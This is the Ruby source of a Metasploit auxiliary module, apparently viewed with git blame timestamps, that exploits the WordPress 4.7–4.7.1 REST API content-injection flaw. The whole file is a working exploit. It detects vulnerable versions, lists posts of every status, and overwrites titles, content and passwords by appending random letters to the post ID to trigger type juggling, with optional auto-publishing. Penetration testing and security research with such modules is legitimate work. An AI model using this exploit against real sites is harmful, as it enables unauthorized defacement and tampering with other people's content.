metasploit-framework/modules/auxiliary/scanner/http/wordpress_content_injection.rb

227 lines
6.0 KiB
Ruby
Raw Normal View History

2017-02-03 10:40:01 +00:00
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress REST API Content Injection',
'Description' => %q{
This module exploits a content injection vulnerability in WordPress
versions 4.7 and 4.7.1 via type juggling in the REST API.
},
'Author' => [
'Marc Montpas', # Vulnerability discovery
'wvu' # Metasploit module
],
'References' => [
2017-02-08 00:33:58 +00:00
['WPVDB', '8734'],
['URL', 'https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html'],
['URL', 'https://secure.php.net/manual/en/language.types.type-juggling.php'],
['URL', 'https://developer.wordpress.org/rest-api/using-the-rest-api/discovery/'],
['URL', 'https://developer.wordpress.org/rest-api/reference/posts/']
2017-02-03 10:40:01 +00:00
],
'DisclosureDate' => 'Feb 1 2017',
'License' => MSF_LICENSE,
'Actions' => [
['LIST', 'Description' => 'List posts'],
['UPDATE', 'Description' => 'Update post']
],
'DefaultAction' => 'LIST'
))
register_options([
OptInt.new('POST_ID', [false, 'Post ID (0 for all)', 0]),
OptString.new('POST_TITLE', [false, 'Post title']),
OptString.new('POST_CONTENT', [false, 'Post content']),
OptString.new('POST_PASSWORD', [false, 'Post password (\'\' for none)'])
])
register_advanced_options([
2017-02-08 12:09:44 +00:00
OptInt.new('PostCount', [false, 'Number of posts to list', 100]),
OptString.new('SearchTerm', [false, 'Search term when listing posts']),
OptBool.new('AutoPublish', [false, 'Publish updated posts', true])
])
2017-02-03 10:40:01 +00:00
end
def check_host(_ip)
if (version = wordpress_version)
version = Gem::Version.new(version)
else
return Exploit::CheckCode::Safe
end
vprint_status("WordPress #{version}: #{full_uri}")
if version.between?(Gem::Version.new('4.7'), Gem::Version.new('4.7.1'))
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Detected
end
end
def run_host(_ip)
case action.name
when 'LIST'
do_list
when 'UPDATE'
do_update
end
end
def do_list
posts_to_list = list_posts
if posts_to_list.empty?
vprint_status("No posts found at #{full_uri}")
return
end
2017-02-03 10:40:01 +00:00
tbl = Rex::Text::Table.new(
'Header' => "Posts at #{full_uri} (REST API: #{get_rest_api})",
2017-02-08 10:31:06 +00:00
'Columns' => %w{ID Title URL Status Password}
2017-02-03 10:40:01 +00:00
)
posts_to_list.each do |post|
2017-02-08 10:31:06 +00:00
if post[:status] == 'publish'
status = 'Published'
else
status = post[:status].capitalize
end
2017-02-03 10:40:01 +00:00
tbl << [
post[:id],
Rex::Text.html_decode(post[:title]),
post[:url],
2017-02-08 10:31:06 +00:00
status,
2017-02-03 10:40:01 +00:00
post[:password] ? 'Yes' : 'No'
]
end
print_line(tbl.to_s)
end
def do_update
posts_to_update = []
if datastore['POST_ID'] == 0
posts_to_update = list_posts
else
posts_to_update << {id: datastore['POST_ID']}
end
if posts_to_update.empty?
vprint_status("No posts to update at #{full_uri}")
return
end
2017-02-03 10:40:01 +00:00
posts_to_update.each do |post|
res = update_post(post[:id],
title: datastore['POST_TITLE'],
content: datastore['POST_CONTENT'],
password: datastore['POST_PASSWORD'],
status: datastore['AutoPublish'] ? 'publish' : nil
2017-02-03 10:40:01 +00:00
)
post_url = full_uri(wordpress_url_post(post[:id]))
if res && res.code == 200
2017-02-08 08:14:28 +00:00
print_good("SUCCESS: #{post_url} (post updated)")
elsif res && res.code == 404
print_error("FAILURE: #{post_url} (invalid post ID)")
2017-02-03 10:40:01 +00:00
else
2017-02-08 08:14:28 +00:00
print_error("FAILURE: #{post_url} (unknown error)")
2017-02-03 10:40:01 +00:00
end
end
end
def list_posts
posts = []
2017-02-08 10:31:06 +00:00
%w{publish future draft pending private}.each do |status|
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(get_rest_api, 'posts'),
'vars_get' => {
'status' => status,
2017-02-08 12:09:44 +00:00
'per_page' => datastore['PostCount'],
'search' => datastore['SearchTerm']
2017-02-03 10:40:01 +00:00
}
2017-02-08 10:31:06 +00:00
}, 3.5)
if res && res.code == 200
res.get_json_document.each do |post|
posts << {
id: post['id'],
title: post['title']['rendered'],
url: post['link'],
status: status,
password: post['content']['protected']
}
end
2017-02-03 10:40:01 +00:00
end
end
posts
end
def update_post(id, opts = {})
payload = {}
payload[:id] = "#{id}#{Rex::Text.rand_text_alpha(8)}"
payload[:title] = opts[:title] if opts[:title]
payload[:content] = opts[:content] if opts[:content]
payload[:password] = opts[:password] if opts[:password]
payload[:status] = opts[:status] if opts[:status]
2017-02-03 10:40:01 +00:00
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(get_rest_api, 'posts', id),
'ctype' => 'application/json',
'data' => payload.to_json
}, 3.5)
end
def get_rest_api
return @rest_api if @rest_api
res = send_request_cgi!({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
}, 3.5)
if res && res.code == 200
@rest_api = parse_rest_api(res)
end
@rest_api ||= wordpress_url_rest_api
end
def parse_rest_api(res)
rest_api = nil
link = res.headers['Link']
html = res.get_html_document
if link =~ %r{^<(.*)>; rel="https://api\.w\.org/"$}
rest_api = route_rest_api($1)
vprint_status('REST API found in Link header')
2017-02-03 10:40:01 +00:00
elsif (xpath = html.at('//link[@rel = "https://api.w.org/"]/@href'))
rest_api = route_rest_api(xpath)
vprint_status('REST API found in HTML document')
2017-02-03 10:40:01 +00:00
end
rest_api
end
def route_rest_api(rest_api)
normalize_uri(path_from_uri(rest_api), 'wp/v2')
end
end